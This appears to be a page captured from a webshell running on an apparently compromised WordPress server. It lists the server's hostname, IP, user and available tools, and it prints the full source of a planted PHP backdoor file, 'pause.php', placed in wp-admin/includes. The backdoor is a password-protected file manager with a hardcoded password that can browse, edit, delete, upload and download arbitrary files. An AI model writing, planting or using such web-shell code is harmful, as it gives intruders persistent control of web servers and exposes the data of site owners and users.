403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ajels/public_html/wp-admin/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ajels/public_html/wp-admin/includes/pause.php
<?php error_reporting(0);session_start();define("password","wuqing1");$h='<head><meta name="viewport" content="width=device-width, initial-scale=1.0"/><title>Mini-FileManager</title><style>pre{border:1px solid #ddd;padding:5px;overflow:auto}table{border-collapse:collapse;width:100%;overflow:auto}th,td{padding:0.25rem;text-align:left;border-bottom:1px solid #ccc}tbody tr:nth-child(odd){background:#eee}tr:hover{background-color:#f5f5f5}</style></head>';function A($n){return isset($_SESSION[$n])?$_SESSION[$n]:0;}function B($n,$v){$_SESSION[$n]=$v;}function C($n){return isset($_POST[$n])?$_POST[$n]:0;}function D($n){return isset($_GET[$n])?$_GET[$n]:0;}function E($t,$n,$v="",$s=""){if(in_array($t,["text","password","submit","file"])){return"<input type='$t' name='$n' value='$v' style='$s'/>";}return"<$t name='$n' style='$s'>$v</$t>";}function F($m,$i,$x=""){$f="<form method=$m enctype='$x'>";foreach($i as $k=>$v){$f.=E($k,is_array($v)?$v[0]:$v,isset($v[1])?$v[1]:"",isset($v[2])?$v[2]:"");}return $f."</form>";}function G($t,$b){$h="";foreach($t as $x){$h.="<th>$x</th>";}$d="";foreach($b as $r){$d.="<tr>";foreach($r as $z){$d.="<td>$z</td>";}$d.="</tr>";}return"<table><thead>$h</thead><tbody>$d</tbody></table>";}function H($l,$x,$t=""){return"<a href='$l' target='$t'>$x</a> ";}function I(){if(A("login")){return 1;}if(!C("login")){return 0;}if(C("pass")!=password){return 0;}B("login",1);return 1;}function J(){$p=__DIR__;if(D("path")){$p=D("path");}return $p;}function K($b){$l=["B","KB","MB","GB","TB","PB"];for($i=0;$b>=1024&&$i<count($l)-1;$b/=1024,$i++);return round($b,2)." ".$l[$i];}function L($p){return date("M d Y H:i:s",filemtime($p));}function M($d){if(!is_file($d)){return 0;}header("Content-Type: application/octet-stream");header("Content-Transfer-Encoding: Binary");header('Content-disposition: attachment; filename="'.basename($d).'"');return readfile($d);}function N($d){if(is_file($d)){return unlink($d);}if(is_dir($d)){return rmdir($d);}return 0;}function O($e){if(is_file($e)){return F("POST",["textarea"=>["edit",htmlentities(file_get_contents($e)),"width:100%;height:90%",],"submit"=>["save","Save"],]);}return 0;}function P($p,$s){if(is_file($p)){file_put_contents($p,html_entity_decode($s));return 1;}return 0;}function Q($p){if(is_file($p)){return htmlentities(file_get_contents($p));}return 0;}function R($p,$n){if(!is_file($p."/".$n)){file_put_contents($p."/".$n,"");return 1;}return 0;}function S($p,$n){if(!is_dir($p."/".$n)){mkdir($p."/".$n);return 1;}return 0;}function T($p,$f){$n=basename($f["name"]);if(!is_file($p."/".$n)){if(move_uploaded_file($f["tmp_name"],$p."/".$n)){return 1;}}return 0;}function U($p){if($p==""||$p=="/"){return $p;}$p=explode("/",str_replace("\\","/",$p));array_pop($p);return implode("/",$p);}function V(){exec("wmic logicaldisk get caption",$c);$r="";foreach($c as $d){$r.=$d!="Caption"?H("?path=$d",$d):"";}return $r;}function W(){$x=J();if(!is_dir($x)){return 0;}$z=scandir($x);$k=[];$i=0;foreach($z as $d){if($d=="."||$d==".."){continue;}$p=$x."/".$d;$s="--";$j="&#128193;";$t=L($p);$l=H("?path=$p",$d);$v=substr(sprintf("%o",fileperms($p)),-4);$o=function_exists("posix_getpwuid")?posix_getpwuid(fileowner($p))["name"]:fileowner($p);$c=(is_file($p)?H("?edit=$p","Edit","_blank"):"").H("?delete=$p","Delete","_blank").(is_file($p)?H("?download=$p","Download","_blank"):"");if(is_file($p)){$s=K(filesize($p));$j="&#128221;";}$k[]=[$j,$i,$l,$s,$t,$v,$o,$c];$i++;}return G(["#","id","Filename","Size","Modified","Perms","Owner",""],$k);}$l=F("POST",["p"=>["","Password(default admin): "],"password"=>["pass",""],"submit"=>["login","Login"],]);if(!I()){die($l);}if(D("delete")){N(D("delete"))?die("Deleted: ".D("delete")):die("File not found");}if(D("edit")){if(C("save")){P(D("edit"),C("edit"));echo "Saved";}$e=O(D("edit"));$e?die($e):die("File not found");}if(D("download")){@readfile(M(D("download")));exit();}if(C("newfile")){R(J(),C("filename"))?die("Create: ".C("filename")):die("File exites");}if(C("newdir")){S(J(),C("dirname"))?die("Create: ".C("dirname")):die("Dir exites");}if(C("upload")){T(J(),$_FILES["file"])?die("upload: ".$_FILES["file"]["name"]):die("Upload Error");}echo $h."<body>".F("POST",["text"=>["filename","File Name"],"submit"=>["newfile","Create"],]).F("POST",["text"=>["dirname","Dir Name"],"submit"=>["newdir","Create"],]).F("POST",["file"=>"file","submit"=>["upload","Upload"]],"multipart/form-data").H("?path=".U(J()),"[Back]").(PHP_OS_FAMILY=="Windows"?V():"").(is_dir(J())?W():"<pre>".Q(J())."</pre>")."</body>";

Youez - 2016 - github.com/yon3zu
LinuXploit